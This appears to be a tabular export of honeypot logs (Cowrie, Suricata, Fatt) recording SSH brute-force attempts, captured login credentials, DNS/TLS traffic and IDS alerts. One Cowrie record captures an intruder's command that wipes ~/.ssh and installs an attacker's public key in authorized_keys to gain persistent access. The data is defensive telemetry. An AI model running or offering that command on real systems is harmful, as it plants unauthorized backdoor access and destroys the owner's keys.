35893	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:11:04.702371+03	2021-09-20 15:15:03.861691+03	{"_id": "UgYdA3wBvYTbRNuE7l-H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 28, "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "8dd1c8451eb1afc288a6782fe153c8cedab7d2ec56107c831421feceb4b7f515", "src_ip": "113.87.161.152", "ttylog": "log/tty/8dd1c8451eb1afc288a6782fe153c8cedab7d2ec56107c831421feceb4b7f515", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/8dd1c8451eb1afc288a6782fe153c8cedab7d2ec56107c831421feceb4b7f515 after 0 seconds", "session": "73b93f327549", "@version": "1", "duration": 0.28616762161254883, "duplicate": true, "timestamp": "2021-09-20T12:11:04.702371Z", "@timestamp": "2021-09-20T12:11:04.702Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
35894	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:11:04.701734+03	2021-09-20 15:15:03.86269+03	{"_id": "VQYdA3wBvYTbRNuE7l-H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "113.87.161.152", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "73b93f327549", "@version": "1", "destfile": "/home/gal/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T12:11:04.701734Z", "@timestamp": "2021-09-20T12:11:04.701Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	CN
35895	113.87.161.152	109.199.241.180	Fatt	2021-09-20 15:11:00.599923+03	2021-09-20 15:15:03.864689+03	{"_id": "MgYdA3wBvYTbRNuE3V8Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2321, "dest_port": 22, "timestamp": "2021-09-20T12:11:00.599923", "@timestamp": "2021-09-20T12:11:00.599Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35896	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:00.657078+03	2021-09-20 15:15:03.86669+03	{"_id": "OQYdA3wBvYTbRNuE3l_l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.login.success", "message": "login attempt [gal/gal] succeeded", "session": "8019f88c84fd", "@version": "1", "password": "gal", "username": "gal", "timestamp": "2021-09-20T12:11:00.657078Z", "@timestamp": "2021-09-20T12:11:00.657Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	IN
35897	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:11:01.091376+03	2021-09-20 15:15:03.867689+03	{"_id": "OgYdA3wBvYTbRNuE3l_l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/996633] failed", "session": "1e3a6334d3a6", "@version": "1", "password": "996633", "username": "root", "timestamp": "2021-09-20T12:11:01.091376Z", "@timestamp": "2021-09-20T12:11:01.091Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35898	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:11:03.115541+03	2021-09-20 15:15:03.86869+03	{"_id": "SQYdA3wBvYTbRNuE5l-3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5231f56350cd", "@version": "1", "duration": 2.796818256378174, "timestamp": "2021-09-20T12:11:03.115541Z", "@timestamp": "2021-09-20T12:11:03.115Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35900	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:11:04.003377+03	2021-09-20 15:15:03.87169+03	{"_id": "TwYdA3wBvYTbRNuE6l-e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "113.87.161.152", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "73b93f327549", "@version": "1", "duration": 0.5452413558959961, "duplicate": true, "timestamp": "2021-09-20T12:11:04.003377Z", "@timestamp": "2021-09-20T12:11:04.003Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
35901	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:04.697757+03	2021-09-20 15:15:03.872689+03	{"_id": "UwYdA3wBvYTbRNuE7l-H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:04.697757Z", "@timestamp": "2021-09-20T12:11:04.697Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
35902	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:05.316571+03	2021-09-20 15:15:03.873691+03	{"_id": "VAYdA3wBvYTbRNuE7l-H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "43.240.6.90", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6194729804992676, "duplicate": true, "timestamp": "2021-09-20T12:11:05.316571Z", "@timestamp": "2021-09-20T12:11:05.316Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
35903	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:04.697217+03	2021-09-20 15:15:03.87469+03	{"_id": "VgYdA3wBvYTbRNuE7l-H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:04.697217Z", "@timestamp": "2021-09-20T12:11:04.697Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
35904	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:11:04.7034+03	2021-09-20 15:15:03.876699+03	{"_id": "VwYdA3wBvYTbRNuE7l-H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "73b93f327549", "@version": "1", "duration": 6.399607419967651, "timestamp": "2021-09-20T12:11:04.703400Z", "@timestamp": "2021-09-20T12:11:04.703Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35905	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:10:50.997755+03	2021-09-20 15:15:03.877694+03	{"_id": "1QYdA3wBvYTbRNuEuF7v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 24047, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2130569970989435, "@version": "1", "in_iface": "enp5s0", "src_port": 40664, "dest_port": 53, "timestamp": "2021-09-20T12:10:50.997755Z", "@timestamp": "2021-09-20T12:10:50.997Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
35906	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:10:50.999205+03	2021-09-20 15:15:03.879693+03	{"_id": "1gYdA3wBvYTbRNuEuF7v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 24047, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2023, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2130569970989435, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 40664, "timestamp": "2021-09-20T12:10:50.999205Z", "@timestamp": "2021-09-20T12:10:50.999Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
35907	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:10:51.524331+03	2021-09-20 15:15:03.88072+03	{"_id": "1wYdA3wBvYTbRNuEuF7v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 9092, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 9932016123947, "@version": "1", "in_iface": "enp5s0", "src_port": 50816, "dest_port": 53, "timestamp": "2021-09-20T12:10:51.524331Z", "@timestamp": "2021-09-20T12:10:51.524Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
35908	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:10:51.526146+03	2021-09-20 15:15:03.881719+03	{"_id": "2AYdA3wBvYTbRNuEuF7v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 9092, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2023, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 9932016123947, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 50816, "timestamp": "2021-09-20T12:10:51.526146Z", "@timestamp": "2021-09-20T12:10:51.526Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
35909	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:10:51.580843+03	2021-09-20 15:15:03.88272+03	{"_id": "2QYdA3wBvYTbRNuEuV7q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36180, "dest_port": 443, "timestamp": "2021-09-20T12:10:51.580843", "@timestamp": "2021-09-20T12:10:51.580Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
35910	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:10:51.050298+03	2021-09-20 15:15:03.88372+03	{"_id": "zgYdA3wBvYTbRNuEtl4C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36178, "dest_port": 443, "timestamp": "2021-09-20T12:10:51.050298", "@timestamp": "2021-09-20T12:10:51.050Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
46834	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:45:58.935111+03	2021-09-20 17:00:03.303693+03	{"_id": "LAZ0A3wBvYTbRNuEzq59", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:45:58.935111Z", "@timestamp": "2021-09-20T13:45:58.935Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35913	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:10:55.389656+03	2021-09-20 15:15:03.887693+03	{"_id": "5wYdA3wBvYTbRNuEyF6Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:10:54.389865+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 74, "bytes_toserver": 148}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1430174621954793, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 31327, "dest_port": 22, "timestamp": "2021-09-20T12:10:55.389656Z", "@timestamp": "2021-09-20T12:10:55.389Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	CN
